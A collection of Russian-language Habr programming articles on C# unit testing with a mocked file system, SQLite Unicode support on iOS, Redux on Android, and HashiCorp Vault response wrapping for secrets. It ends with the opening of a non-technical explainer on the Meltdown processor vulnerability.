Для начала разберемся что же такое unit тестирование. Cогласно википедии:
Модульное тестирование, иногда блочное тестирование или юнит-тестирование (англ. unit testing) — процесс в программировании, позволяющий проверить на корректность отдельные модули исходного кода программы, наборы из одного или более программных модулей вместе с соответствующими управляющими данными, процедурами использования и обработки.
Честно говоря, описание из википедии кажется мне абстрактным. Так как не передаёт важное отличие интеграционных тестов от unit.
Я бы дал следующее определение для unit тестирования:
Unit тестирование - процесс в программировании, позволяющий проверить на корректность отдельные модули исходного кода программы, который работает в оперативной памяти и не взаимодействует с внешними источниками (файловая система, база данных, сеть и т.д).
Проблема
--------
Необходимо протестировать алгоритм группировки файлов по расширению.
```
public class FileGrouper
{
private readonly string _folderPath;
public FileGrouper(string folderPath) => _folderPath = folderPath;
public void ByExtension()
{
var groupFiles = Directory.GetFiles(_folderPath)
.Select(fullFileName => new
{
FullFileName = fullFileName,
FileName = Path.GetFileName(fullFileName),
Extension = Path.GetExtension(fullFileName)
})
.Where(fileInfo => !string.IsNullOrEmpty(fileInfo.Extension))
.ToLookup(arg => arg.Extension);
foreach (var groupFile in groupFiles)
{
var newFolder = Path.Combine(_folderPath, groupFile.Key);
if (!Directory.Exists(newFolder))
Directory.CreateDirectory(newFolder);
foreach (var file in groupFile)
{
var newFile = Path.Combine(newFolder, file.FileName);
File.Move(file.FullFileName, newFile);
}
}
}
}
```
На данный момент мы не можем написать unit тесты на этот код, так как в нём есть зависимость на файловую систему.
Решение
-------
Есть 2 основных способа избавиться от этой зависимости:
1. Создать интерфейс для работы с файловой системой **IFileProvider**, в котором будут все необходимые операции.
2. Создать базовый класс **FileGrouperBase** с абстрактными методами по обращению к файловой системе, а уже каждый наследник будет решать как их реализовать.
Лично мне импонирует первый вариант, так как он является более гибким. Тем более, что нам необходимо больше 1 метода для работы с файловой системой, и удобнее будет иметь для этого отдельную сущность.
**IFileSystem**
Давайте опишем **IFileSystem**.
```
public interface IFileSystem
{
string[] GetFiles(string directory);
bool DirectoryExists(string directory);
void CreateDirectory(string directory);
void MoveFile(string sourceFile, string destinationFile);
}
```
Сразу же пишем реализацию для реальной файловой системы:
```
public class PhysicianFileSystem : IFileSystem
{
public string[] GetFiles(string directory)
=> Directory.GetFiles(directory);
public bool DirectoryExists(string directory)
=> Directory.Exists(directory);
public void CreateDirectory(string directory)
=> Directory.CreateDirectory(directory);
public void MoveFile(string sourceFile, string destinationFile)
=> File.Move(sourceFile, destinationFile);
}
```
#### Дорабатываем FileGrouper
Изменения будут минимальными, заменяем все статические вызовы **File** и **Directory** на вызовы нового объекта.
```
public class FileGrouper
{
private readonly string _folderPath;
// Добавили объект ↓
private readonly IFileSystem _fileSystem;
public FileGrouper(string folderPath, IFileSystem fileSystem)
{
_folderPath = folderPath;
_fileSystem = fileSystem;
}
public void ByExtension()
{
// Меняем вызов ↓
var groupFiles = _fileSystem.GetFiles(_folderPath)
.Select(fullFileName => new
{
FullFileName = fullFileName,
FileName = Path.GetFileName(fullFileName),
Extension = Path.GetExtension(fullFileName)
})
.Where(fileInfo => !string.IsNullOrEmpty(fileInfo.Extension))
.ToLookup(arg => arg.Extension);
foreach (var group in groupFiles)
{
var newFolder = Path.Combine(_folderPath, group.Key);
// Меняем вызовы ↓
if (!_fileSystem.DirectoryExists(newFolder))
_fileSystem.CreateDirectory(newFolder);
foreach (var file in group)
{
var newFile = Path.Combine(newFolder, file.FileName);
// Меняем вызов ↓
_fileSystem.MoveFile(file.FullFileName, newFile);
}
}
}
}
```
Этого достаточно, чтобы можно было заменить работу с файловой системы на оперативную память или любой другой источник.
### Пишем тесты
В качестве библиотеки для тестирования будем использовать [xUnit](https://xunit.net/). Это дело вкуса, можно использовать любую другую библиотеку для unit тестирования.
Для работы тестов, нам понадобится написать отдельную реализацию **IFileSystem**.
```
public sealed class MemoryFileSystem : IFileSystem
{
private readonly List \_availableFiles;
public MemoryFileSystem(IEnumerable availableFiles)
=> \_availableFiles = new List(availableFiles);
public List<(string Source, string Destination)> MoveDetail { get; }
= new();
public string[] GetFiles(string directory)
=> \_availableFiles.ToArray();
public bool DirectoryExists(string directory) => true;
public void CreateDirectory(string directory){}
public void MoveFile(string sourceFile, string destinationFile)
=> MoveDetail.Add((sourceFile, destinationFile));
}
```
Так как алгоритм оперирует путями к файлам, то нам достаточно сохранить путь файла который хотят переместить и место, куда он будет переносен алгоритмом.
#### MemberData
Данные для тестирования выглядят следующим образом
```
new List
{
new object[]
{
@"D:\folder",
new List(),
new List<(string Source, string Destination)>()
},
new object[]
{
@"D:\folder2",
new List
{
@"D:\folder2\1.txt",
@"D:\folder2\2.txt",
@"D:\folder2\test.mp3",
@"D:\folder2\test2.png",
},
new List<(string Source, string Destination)>
{
(@"D:\folder2\1.txt", @"D:\folder2\.txt\1.txt"),
(@"D:\folder2\2.txt", @"D:\folder2\.txt\2.txt"),
(@"D:\folder2\test.mp3", @"D:\folder2\.mp3\test.mp3"),
(@"D:\folder2\test2.png", @"D:\folder2\.png\test2.png")
}
},
new object[]
{
@"D:\folder3\tmp",
new List
{
@"D:\folder3\tmp\1.txt",
@"D:\folder3\tmp\2.txt",
@"D:\folder3\tmp\3",
@"D:\folder3\tmp\test.png",
@"D:\folder3\tmp\test2.png",
},
new List<(string Source, string Destination)>
{
(@"D:\folder3\tmp\1.txt", @"D:\folder3\tmp\.txt\1.txt"),
(@"D:\folder3\tmp\2.txt", @"D:\folder3\tmp\.txt\2.txt"),
(@"D:\folder3\tmp\test.png", @"D:\folder3\tmp\.png\test.png"),
(@"D:\folder3\tmp\test2.png", @"D:\folder3\tmp\.png\test2.png")
}
},
};
```
#### Проверяем группировку
```
[Theory]
[MemberData(nameof(TestData))]
public void Should_group_files_with_extension(string path,
List availableFiles,
List<(string Source, string Destination)> expect)
{
// Arrange
var fileSystem = new MemoryFileSystem(availableFiles);
var group = new FileGrouper(path, fileSystem);
// Act
group.ByExtension();
var actual = fileSystem.MoveDetail;
// Assert
Assert.Equal(expect, actual);
}
```
Итог
----
Тестирование кода помогает помочь в проектировании класса и улучшить дизайн. Порой это приводит к избыточности, но это слихвой покрывется надёжностью кода.
Благодаря тестированию, процесс разработки идёт куда быстрее, так как разработчики меньше боятся поломать существующий функционал, например, очередным рефакторингом или добавлением новой функциональности.
Ссылки
------
* [Мой блог](https://blowin.github.io/blog/)
* [Модульное тестирование (Wiki)](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%82%D0%B5%D1%81%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
* [xUnit](https://xunit.net/)
* [Юнит-тестирование для чайников (Хабр)](https://habr.com/ru/post/169381/)
* [Тестирование в .NET (Microsoft)](https://learn.microsoft.com/ru-ru/dotnet/core/testing/)
* [Рекомендации по модульному тестированию для .NET Core и .NET Standard (Microsoft)](https://learn.microsoft.com/ru-ru/dotnet/core/testing/unit-testing-best-practices)
UPD
---
Спасибо всем за комментарии, провёл работу над ошибками | https://habr.com/ru/post/692456/ | null | ru | null |
# Полноценная поддержка юникода в SQLite для iOS. Пример приложения
Здравствуйте. В этой статье я опишу процесс создания простейшего приложения для iOS и внедрение в него используемого мной метода для обеспечения корректной работы с русским (и не только) языком таких SQLite-конструкций, как UPPER/LOWER, LIKE или ORDER BY.
Описанный метод использовался при разработке в XCode 4.2 под управлением OS X Lion 10.7.2.
Ниже очень подробная инструкция с картинками.
##### Для начала
Нужно скачать необходимые файлы:
* Исходные коды SQLite amalgamation (без autoconf) с [сайта разработчика](http://www.sqlite.org/download.html) (2 файла в архиве)
* Файлы sqlite\_unicode.c и sqlite\_unicode.h, например, [отсюда](http://code.google.com/p/chibiorm/source/browse/external/sqlite/)
##### Создание нового проекта
Запускаем XCode, создаём новый проект с шаблоном iOS Application — Single View Application, нажимаем «Next»:
Вводим название проекта, снимаем галочки со всех чекбоксов, нажимаем «Next»
Выбираем директорию для сохранения проекта. Готово.
##### Добавление в проект поддержки SQLite
Слева в Project Navigator щелкаем по самому верхнему элементу иерархии, чтобы посмотреть информацию и свойства нашего проекта, внизу нажимаем кнопку «Add Target»
Выбираем iOS Framework & Library — Cocoa Touch Static Library, нажимаем Next
Вводим имя для будущей библиотеки. Finish.
Берем файлы, которые мы скачали в начале статьи, и тянем их в только что созданную группу (libsqliteunicode) в Project Navigator
В появившемся окне отмечаем галочками обе цели (Add to targets). Finish.
Опять открываем свойства проекта, из списка targets выбираем созданную libsqlunicode, переходим на вкладку build phases, разворачиваем список «Link Binary with Libraries» и убираем из него Foundation.framework.
Переходим на вкладку build settings и в параметре Preprocessor Macros устанавливаем значение
`SQLITE_CORE SQLITE_ENABLE_UNICODE`
Из списка targets выбираем sqliteunicode, переходим на вкладку build phases, разворачиваем список «Target Dependencies» и добавляем в него нашу libsqliteunicode
##### Работа с библиотекой.
Для того, чтобы всё это заработало так, как нам надо, в заголовочном файле контроллера вашей базы данных следует добавить строчки
`#import "sqlite3.h"
#import "sqlite3_unicode.h"`
Перед использованием базы данных, нужно вызвать
`sqlite3_unicode_load();`
После окончания работы с базой для освобождения памяти вызываем
`sqlite3_unicode_free();`
В остальном используем нашу библиотеку как обычную libsqlite3.dylib
Рабочий пример, демонстрирующий подключение базы и поиск по ней с помощью Search Bar and Search Display Controller: [скачать](http://dl.dropbox.com/u/22029641/sqliteunicode/sqliteunicode.zip) (4 Мб)
**UPD:**
##### Вариант без перекомпиляции SQLite amalgamation:
* Добавляем в проект стандартный libsqlite3.dylib
* Добавляем туда же файлы sqlite\_unicode.c и .h из примера в статье
* Устанавливаем параметры препроцессора на SQLITE\_CORE SQLITE\_ENABLE\_UNICODE
* Компилим
Рабочий пример с измененным вариантом: [Скачать](http://dl.dropbox.com/u/22029641/sqliteunicode/sqliteunicode_v2.zip) (1.5 Мб)
Кстати, размер получившегося .app в первом варианте — 1 210 597 байт
Во втором — 266 332 | https://habr.com/ru/post/136135/ | null | ru | null |
# Android + Redux = <3
Привет! Меня зовут Виталий Сулимов, я Android-разработчик в компании Wheely, и сегодня я бы хотел поговорить с вами об архитектуре мобильных приложений. А именно о том, как мы в компании применили Redux-архитектуру к двум нашим приложениям и что из этого вышло.
**Дисклеймер #1**
Я разрабатываю коммерческие Android-приложения с 2016-го года, начинал с классического в то время MVC, потом был MVP, библиотека Moxy от ребят из Arello Mobile, Clean Architecture и вот теперь Redux. Мое мнение — идеальной и единственно правильной архитектуры не существует. Любая из них будет набором компромиссов, начиная от особенностей интеграции с самой платформой и заканчивая простотой, расширяемостью и возможностью написания тестов. То, что отлично подходит под наши приложения, может оказаться абсолютно непригодным для вашего проекта, и наоборот. Цель данной статьи — показать еще один способ написания Android-приложений.
К чему мы стремимся?
--------------------
Перед тем как начать разбирать Redux, давайте тезисно обозначим, что мы хотим получить в итоге:
**1. Пассивные View**
Задача View — отображать интерфейс пользователю, в ней не должно быть бизнес-логики, она не должна принимать решения, всё, что она должна делать — сообщать о происходящих с ней событиях и взаимодействиях (создание, уничтожение, изменился размер, нажали кнопку, потянули Pull To Refresh, и т.д.)
**2. Отдельно живущая модель, бизнес-логика / механизмы принятия решений**
Здесь всё тоже должно быть очень просто, но в то же время четко разграничено.
Модель — чистые данные, которыми оперирует ваше приложение в runtime, она не должна содержать логики сама по себе, при этом должна быть достаточно полной и актуальной, чтобы на основе этих данных другие механизмы могли принимать те или иные решения.
**3. Возможность покрывать логику тестами**
Тут, я думаю, всё понятно без дополнительных комментариев. При определенных условиях для одного и того же события могут выполняться различные действия, и мы хотим иметь возможность покрывать эту логику тестами во избежание регрессий в процессе рефакторинга / будущей разработки и т.д.
**4. Консистентность подхода в масштабе всего приложения**
Мало кто сегодня разрабатывает приложения в одиночку, как правило, это команды из нескольких человек, которые отвечают за какое-то отдельное направление. Но иногда каждому из нас приходится залезать в чужой код, и было бы круто, если бы общие подходы были максимально схожими: неважно, статичный ли это экран с двумя кнопками или чат с сокетом в режиме реального времени.
Redux, я выбираю тебя!
----------------------
Перед тем как говорить о Redux в контексте Android-приложения, давайте для начала разберемся, чем он является сам по себе, отдельно от Android.
В контексте данной статьи Redux рассматривается как библиотека для управления состоянием приложения. Основная идея заключается в том, что глобальное иммутабельное состояние содержится в глобальном компоненте Store, который среди прочего позволяет подписываться на это состояние, получать уведомления каждый раз, когда что-то меняется, а также отправлять ему события, когда что-то происходит. Это базовое описание, давайте теперь копнем чуть глубже и посмотрим, из каких компонентов состоит Redux.
**State**
Я не просто так вынес состояние на первое место, потому что считаю это основной и ключевой фишкой Redux. Состояние является иммутабельным (важно) объектом и единственным источником истины для всего приложения.
**Store**
Store содержит глобальное состояние (**State**) вашего приложения, а также все подключенные к нему **Middleware** и **Reducer**.
Типичное API позволяет вам получать текущее состояние, отправлять события (**Action**), подписываться и отписываться от изменений состояния.
**Action**
События, единственные данные, которые вы можете отправлять вашему **Store**. События как правило сообщают о взаимодействии с приложением или являются своего рода намерением явно изменить состояние (рассмотрим на примере позже). Опционально могут содержать внутри себя дополнительные данные.
**Reducer**
**Чистая** функция, которая меняет текущее состояние в ответ на пришедшее событие (**Action**). Для тех, кто не знает, чистая функция всегда возвращает одинаковое значение при одинаковых входных данных (детерминированность) и не имеет побочных эффектов (никаким образом не изменяет локальные переменные, не осуществляет ввод, вывод, и т.д.).
Поскольку состояние у нас является иммутабельным, Reducer использует Copy-on-write подход, копируя состояние целиком с изменением только необходимой части.
**Middleware**
Middleware является своего рода промежуточным звеном, позволяя перехватывать события (**Action**) и заменять их в случае необходимости, до того, как они попадут в наш **Reducer**.
Middleware является тем самым механизмом принятия решений и местом, где содержится бизнес-логика нашего приложения.
А как подружить Redux с Android?
--------------------------------
Всё очень просто. Достаточно представить Android как источник событий (**Action**), не важно, что это, создание Activity, View, нажатие кнопки или BroadcastReceiver - просто отправьте **Action** об этом и обработайте его, как обычно (рассмотрим детальнее дальше).
**Talk is cheap. Show me the code.**
Теперь, когда мы имеем общее понимание того, что есть Redux и из чего он состоит, давайте попробуем написать приложение. Пусть это будет Counter, обычный счетчик, который можно увеличивать нажатием кнопки. Приложение должно переживать поворот экрана и обнулять значение счетчика при выходе из него. А выглядеть оно будет примерно так.
**Что нам потребуется?**
Чистый проект в Android Studio и реализация Redux для языка Kotlin.
Код библиотеки доступен в [репозитории на GitLab.](https://gitlab.com/v.sulimov/android-redux-kotlin)
Помимо реализации базовых компонентов Redux, я также добавил полезные утилиты для простой интеграции с Android. Итак, проект есть, библиотека подключена, давайте создавать наше приложение!
**Дисклеймер #2**
В процессе разбора вам может показаться, что в этой библиотеке очень нужен Rx, или Coroutines, или что-то ещё, о чем я даже не догадываюсь, но здесь этого нет. Библиотека создавалась по принципу KISS, она полностью открыта и вы можете без проблем изменить ее для соответствия вашим требованиям, главное не менять фундаментальную идею.
**Описываем состояние**
Помните, что я говорил о роли состояния в Redux? Простой иммутабельный объект, который содержит всю необходимую нам информацию и позволяет легко производить над ним операции по принципу Copy-on-write. Лучшее, что вы можете выбрать для этого подхода в Kotlin - data class.
**ApplicationState.kt**
```
data class ApplicationState(
val counter: Int = 0
)
```
Выглядит так же просто, как и звучит, едем дальше.
**События**
Все события в нашей реализации должны так или иначе реализовывать интерфейс **Action** из библиотеки Redux. Интерфейс **Action** является маркерным и не содержит никаких методов для реализации. Я стараюсь логически декомпозировать события для простоты работы с ними и обработки их в **Middleware** и **Reducer**, а также использовать sealed class’ы, последние ограничивают всех возможных наследников до узкого круга того, что нас непосредственно интересует. В итоге наши события будут выглядеть вот так.
**CounterAction.kt**
```
sealed class CounterAction : Action {
object Increment : CounterAction()
object Reset : CounterAction()
}
```
**Reducer**
В нашем случае это объект, который реализует интерфейс **Reducer**<**S**>, где **S** - глобальное состояние нашего приложения, т.е. В нашем случае **ApplicationState**. Интерфейс описывает одну-единственную функцию - reduce. Не забываем про то, что функция должна быть чистой.
**CounterReducer.kt**
```
object CounterReducer : Reducer {
override fun reduce(action: Action, state: ApplicationState): ApplicationState =
when (action) {
is CounterAction.Increment ->
state.copy(counter = state.counter.inc())
is CounterAction.Reset ->
state.copy(counter = 0)
else ->
state
}
}
```
**Store**
А теперь соберем все эти компоненты в единый механизм, и поможет нам в этом **Store**.
Библиотека уже содержит в себе абстрактный Store с реализацией всех необходимых методов. Всё что нам нужно сделать - создать наследника класса **AbstractStore** и явно указать тип нашего глобального состояния. Это же состояние будет передаваться в наши **Middleware** и **Reducer**.
**ApplicationStore.kt**
```
class ApplicationStore(
initialState: ApplicationState,
middlewares: List>,
reducers: List>
) : AbstractStore(initialState, middlewares, reducers)
```
Теперь нам необходимо создать экземпляр класса **ApplicationStore**, передать ему изначальное состояние и список всех подключенных **Middleware** и **Reducer**. Поскольку **Store**, равно как и **ApplicationState** должны иметь время жизни равное времени жизни нашего приложения - сделаем AppComponent и положим наш **Store** туда.
**AppComponent.kt**
```
object AppComponent {
val store = ApplicationStore(
initialState = ApplicationState(),
middlewares = emptyList(),
reducers = listOf(CounterReducer)
)
}
```
Для чистоты кода я также советую создать подобные функции в любом удобном для вас файле, поскольку отправка событий, подписка и отписка будут часто использоваться во всем приложении.
**ReduxFunctions.kt**
```
fun dispatch(action: Action) =
AppComponent.store.dispatch(action)
fun subscribe(subscription: Subscription) =
AppComponent.store.subscribe(subscription)
fun unsubscribe(subscription: Subscription) =
AppComponent.store.unsubscribe(subscription)
```
**Подведем промежуточный итог**
Сейчас у нас есть иммутабельное состояние, которое отражает значение нашего счетчика, есть события, которые позволяют взаимодействовать с этим значением, и reducer, который обрабатывает эти события, меняя состояние соответствующим образом. Несмотря на общую простоту конструкции, можно заметить весьма жесткие ограничения. Мы можем быть уверены в том, что состояние может измениться только в результате работы reducer’a, а тот в свою очередь сработает, только если в storeбудет отправлено соответствующее событие. Дело осталось за малым, UI!
Прикручиваем отображение
------------------------
В данном случае в ход идет непосредственно часть Android-фреймворка. Тут может быть несколько подходов (Single Activity / Multiple Activities / Fragments?), я покажу один из них, который нравится мне больше всего - это связка одной Activity и чистых View. Activity является своего рода контроллером и может заменять текущую View, а те в свою очередь подписываются на состояние и непосредственно отображают интерфейс пользователю.
**CounterView.kt**
```
class CounterView(
context: Context
) : FrameLayout(context) {
private val counterSubscription = SubStateSubscription(
transform = { it.counter },
onStateChange = { state: Int, \_: Boolean -> handleCounterStateChange(state) }
)
private lateinit var counterTextView: TextView
private lateinit var floatingActionButton: FloatingActionButton
init {
inflate(context, R.layout.view\_counter, this)
findViewsById()
setOnClickListeners()
}
private fun findViewsById() {
counterTextView = findViewById(R.id.counterTextView)
floatingActionButton = findViewById(R.id.floatingActionButton)
}
private fun setOnClickListeners() {
floatingActionButton.setOnClickListener { dispatch(CounterAction.Increment) }
}
override fun onAttachedToWindow() {
super.onAttachedToWindow()
subscribeToStateChanges()
}
private fun subscribeToStateChanges() {
subscribe(counterSubscription)
}
override fun onDetachedFromWindow() {
unsubscribeFromStateChanges()
super.onDetachedFromWindow()
}
private fun unsubscribeFromStateChanges() {
unsubscribe(counterSubscription)
}
private fun handleCounterStateChange(state: Int) {
counterTextView.text = state.toString()
}
}
```
Давайте внимательно рассмотрим этот класс и разберем, что происходит. Для начала создадим **SubStateSubscription**, это вспомогательный класс, который позволяет подписываться не на состояние целиком, а на какую-то из его частей, опять же, если вы захотите Rx, то эту заботу на себя возьмет map(), в нашем случае - руками.
Дальше ничего необычного, объявляем lateinit var для всех виджетов внутри данной View.
Конструктор. Надуваем XML-разметку, находим в ней наши виджеты и вешаем обработчик нажатия на Floating Action Button. Внутри обработчика делаем dispatch события **CounterAction.Increment**, которое мы создали ранее.
OnViewAttached / Detached from window.
Здесь подписываемся и отписываемся соответственно на наше значение и пишем обработчик, который выполнится, когда произойдет изменение этой части состояния. В нашем случае всё очень тривиально, просто устанавливаем пришедшее значение в TextView.
**CounterView.kt**
```
...
counterTextView.text = state.toString()
...
```
И мы на финишной прямой! Почти.
Если запустить приложение сейчас, то оно будет работать, View будет отображать значение счетчика, которое соответствует переменной **counter** внутри **ApplicationState**, поворот экрана никак не ломает наше приложение, это решается by design, ведь состояние нашего счётчика живёт на уровне Application и жизненный цикл View на него никак не влияет, но… Помните, я говорил вам, что счетчик надо сбрасывать, когда мы выходим из приложения (нажимаем клавишу “Назад”). Как это сделать? Давайте разбираться.
Еще раз вспоминаем о том, как подружить Redux и Android
-------------------------------------------------------
Выше я писал о том, что нам нужно представить Android как источник событий в архитектуре Redux. Давайте сделаем это. В библиотеке также есть уже готовый класс AppCompatActivity, который является самой обычной AppCompatActivity с одним маленьким бонусом: эта Activity отправляет события ActivityLifecycleAction (тоже являются частью библиотеки) на каждое событие жизненного цикла. Всё что вам нужно сделать для интеграции - это создать наследника данной AppCompatActivity и предоставить ему Store, в который она и будет отправлять события. Итоговый код выглядит так.
**MainActivity.kt**
```
class MainActivity : AppCompatActivity() {
private lateinit var contentViewGroup: ViewGroup
override fun getStore(): Store =
AppComponent.store
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity\_main)
findViewsById()
addCounterView()
}
private fun findViewsById() {
contentViewGroup = findViewById(R.id.contentViewGroup)
}
private fun addCounterView() {
contentViewGroup.addView(CounterView(context = this))
}
}
```
**Наша первая Middleware и принятие решения**
У нас есть всё необходимое для написания финального элемента нашего приложения - **MIddleware.** Для начала давайте сформулируем, что мы хотим: Ловить событие уничтожения Activity (onDestroy) и если флаг isFInishing == true - обнулять наш счетчик.
isFinishing в данном случае определяет причину уничтожения, если он true, значит, пользователь выходит из нашего приложения, если false - активити уничтожается по другой причине, будь то поворот экрана или изменение конфигурации.
Опять же, выглядит так же просто, как и звучит. Создаем объект, который реализует интерфейс **Middleware**, где **S** - тип нашего глобального состояния и реализуем метод **handleAction()**.
**ActivityLifecycleMiddleware.kt**
```
object ActivityLifecycleMiddleware : Middleware {
override fun handleAction(
action: Action,
state: ApplicationState,
next: Next
): Action {
val newAction = when (action) {
is ActivityLifecycleAction.OnDestroy ->
handleActivityOnDestroy(action)
else ->
action
}
return next(newAction, state)
}
private fun handleActivityOnDestroy(action: ActivityLifecycleAction.OnDestroy): Action =
if (action.isFinishing) CounterAction.Reset else action
}
```
Давайте посмотрим, что здесь происходит. До того как событие ActivityLifecycleAction.OnDestroy попадет в **Reducer**, оно пройдет через все наши **Middleware,** и именно здесь мы можем заменить это изначальное событие на то, что нас интересует. Это и происходит, если флаг isFinishing == true, то в **Reducer** попадёт событие CounterAction.Reset, которое обнулит наш счетчик, если же флаг false - событие уйдёт как есть, но поскольку никто его не обрабатывает, оно никак не поменяет состояние нашего приложения, и подписчики на состояние ничего об этом не узнают. Не забудьте добавить middleware в наш AppComponent-класс.
**AppComponent.kt**
```
store = ApplicationStore(
initialState = ApplicationState(),
middlewares = listOf(ActivityLifecycleMiddleware),
reducers = listOf(CounterReducer)
)
```
Вот и всё!
Выводы
------
Лично мне очень нравится Redux. Простая на вид идея, но в тоже время при этой простоте получается создавать сложные вещи, главное — научиться его правильно готовить. И он действительно предсказуемый, как и говорится в оригинальном описании библиотеки на JavaScript. Он также позволяет вам четко разграничить места, где у вас есть логика, и места, где этой логики нет. Создание унифицированного кода становится очень простым. Что-то происходит - Action. Нужно принять решение - Middleware, нужно отреагировать на событие - Reducer. А View является простым представлением, которое умеет рисовать себя и сообщать о взаимодействиях с ней.
**Бонус**
Все исходники данной статьи лежат в открытом доступе, там вы можете найти полный код библиотеки, проект Counter, в котором Middlewareи Reducer покрыты тестами, но это еще не все. Я также сделал куда более сложное приложение на Redux-архитектуре — это приложение “Погода”, которое поддерживает систему разрешений Android (доступ к локации), определяет местоположение пользователя и выполняет асинхронную загрузку данных с API OpenWeatherMap. Всё это покрыто тестами и также лежит в открытом доступе.
<https://gitlab.com/v.sulimov/android-redux-kotlin>
<https://gitlab.com/v.sulimov/android-redux-demo>
<https://gitlab.com/v.sulimov/android-openweather-kotlin>
**Прощаемся**
Данная статья подходит к концу, основная моя цель была рассказать вам про Redux в реалиях Android, и я сделал это. Я считаю, что введение должно быть максимально простым и понятным, потому в качестве примера используется обычный счетчик, но это совсем не значит, что на Redux нельзя делать более сложные вещи, именно поэтому я написал второе приложение и вы сможете без проблем разобрать его, используя данные из этой статьи. Но на случай, если у Вас возникнут вопросы - вы всегда можете задать их в комментариях.
Спасибо за уделенное время, надеюсь, вам было интересно.
*С уважением, Виталий. Команда разработки Wheely.* | https://habr.com/ru/post/548982/ | null | ru | null |
# Пакуем секреты правильно
Безопасное хранение и передача секретов (токенов, паролей и т.п.) между пользователями и сервисами – это один из вызовов, с которыми сталкиваются разработчики и DevOps инженеры. Традиционное централизованное хранение в менеджерах паролей, например, полностью проблему не решает, а лишь смещает её в сторону управления мастер-паролями, которые, к тому же, становятся «ключами к царству» и компроментация которых может иметь катастрофические последствия. Данную проблему «курицы и яйца» ещё иногда называют проблемой «нулевого секрета» (Secret Zero Problem). В этой заметке я расскажу о попытке решить эту проблему при помощи механизма обёртки ответа (Response Wrapping).
Для повышения безопасности мы не будем передавать секреты напрямую, мы будем передавать лишь ссылку на секрет - обёрточный токен (Wrapping Token). Сам секрет будет храниться в безопасности, в специализированной системе управления секретами (Secrets Management Service). Повышение безопасности обеспечивается за счет ряда полезных свойств токена, а именно:
1. Обëрточный токен — это не секрет сам по себе, а лишь ссылка, дающяя доступ к настоящему секрету
2. Токен может (и должен!) обладать очень коротким временем жизни (TTL – Time to Live), что делает атаку на подобную «движущуюся цель» более сложной
3. И, наконец, если злоумышленник перехватит токен и всё-таки заполучит секрет, то это будет немедленно обнаружено. Во-первых, обëрточный токен может быть использован только один раз, после чего он «протухает», а во-вторых - система управления секретами обеспечивает надёжный аудит всех действий пользователей
Функционал Response Wrapping обеспечивают многие решения по управлению секретами. Рассмотрим практический пример на примере популярного HashiCorp Vault. В нашем простейшем сценарии у нас есть Vault сервис, и нам нужно передать учётные данные вида пользователь/пароль удалённому пользователю или сервису, который ничего не знает о Vault и никак с ним не интегрирован. Vault можно [легко](https://developer.hashicorp.com/vault/docs/install) установить и настроить или воспользоваться SaaS сервисом. Коммуницировать с Vault можно напрямую через API, [Vault CLI](https://developer.hashicorp.com/vault/docs/commands) или Web UI. Чтобы начать работать через CLI, на стороне администратора необходимо задать пару переменных окружения:
Адрес Vault сервера, пусть в нашем примере он будет локальный
`export VAULT_ADDR=http://127.0.0.1:8200`
Администраторский токен доступа к Vault
`export VAULT_TOKEN="hvs.CAESIJT1q5lEjIWux1Tjx"`
Vault поддерживает великое множество различных плагинов (engines), для приведённого примера нам понадобится самый базовый – хранение Key/Value (KV) пар.
Активируем плагин KV:
`$ vault secrets enable -path=secret -description="wraper-test" kv-v2`
В нашем упражнении мы создадим и передадим удаленному клиенту секрет вида
`username: "webapp"`
`password: "my-long-password"`
запишем наш секрет используя включённый KV плагин:
`$ vault kv put secret/dev username="webapp" password="my-long-password"`
Теперь создадим wrapper token c TTL 2 минуты. Этого времени должно быть достаточно, чтоб клиент успел извлечь секрет из Vault:
`$ vault kv get -wrap-ttl=120 secret/dev`
Вариант ответа:
`Key Value`
`--- -----
wrapping_token: hvs.CAGh2cy5uYzZsZEMpiR25LZXpjczA`
`wrapping_accessor: 3dyFk8GHlmLNvKEjxcL9TDz2`
`wrapping_token_ttl: 2m`
`wrapping_token_creation_time: 2022-04-05 21:09:08.2289 -0700 PDT` `wrapping_token_creation_path: secret/data/dev`
Полученный `wrapping_token`мы можем передать получателю при помощи e-mail или в чате, особо не беспокоясь о возможном перехвате. Наш клиент, как помним, ничего не знает о Vault, но, надеемся, обладает базовыми навыками в Unix shell и может воспользоваться командами [curl](https://curl.se) и [jq](https://stedolan.github.io/jq/). При помощи указанных команд, адреса Vault `$VAULT_ADDR` и полученного токена, извлечь секрет из Vault проще простого:
`$ curl -s --header "X-Vault-Token:` hvs.CAGh2cy5uYzZsZEMpiR25LZXpjczA`" --request POST $VAULT_ADDR/v1/sys/wrapping/unwrap | jq ".data.data"`
Результат на стороне клиента:
`{`
`"password": "my-long-password",`
`"username": "webapp"`
`}`
Как видим, секрет извлекается из Vault непосредственно клиентом. В более продвинутых сценариях генерацию пароля можно так же переложить на Vault, тогда этот секрет не будет знать даже отправитель. Всё это довольно легко интегрируется в пайпланы автоматизации. | https://habr.com/ru/post/698738/ | null | ru | null |
# Новогодние подарки, часть первая: Meltdown
Да, я знаю, что это уже третий материал на GT/HH по данной проблеме.
Однако, к сожалению, до сих пор я не встречал хорошего русскоязычного материала — да в общем и с англоязычными, чего уж тут греха таить, та же проблема, там тоже многих журналистов [изнасиловали учёные](http://www.pvsm.ru/images/2016/11/29/proryv-v-nakopitelyah-energii-ili-ocherednoi-sluchai-kogda-uchenyi-nadrugalsya-nad-jurnalistom.jpg) — в котором внятно раскладывалось бы по полочкам, что именно произошло 3 января 2018 года, и как мы будем с этим жить дальше.
Попробую восполнить пробел, при этом и не слишком влезая в глубины работы процессоров (ассемблера не будет, тонких подробностей постараюсь избегать там, где они не нужны для понимания), и описывая проблему максимально полно.
Тезисно: в прошлом году нашли, а в этом опубликовали информацию о самой серьёзной ошибке в процессорах за все десятилетия их существования. В той или иной степени ей подвержены *все* процессоры, используемые в настоящее время в настольных компьютерах, серверах, планшетах, смартфонах, автомобилях, самолётах, поездах, почте, телефоне и телеграфе. То есть — вообще все процессоры, кроме микроконтроллеров.
К счастью, подвержены они ей в разной степени. К несчастью, самый серьёзный удар пришёлся на самые распространённые процессоры — Intel, причём затронул он абсолютно все выпускающиеся и практически все эксплуатируемые (единственным исключением являются старые Atom, выпущенные до 2013 года) процессоры этой компании.
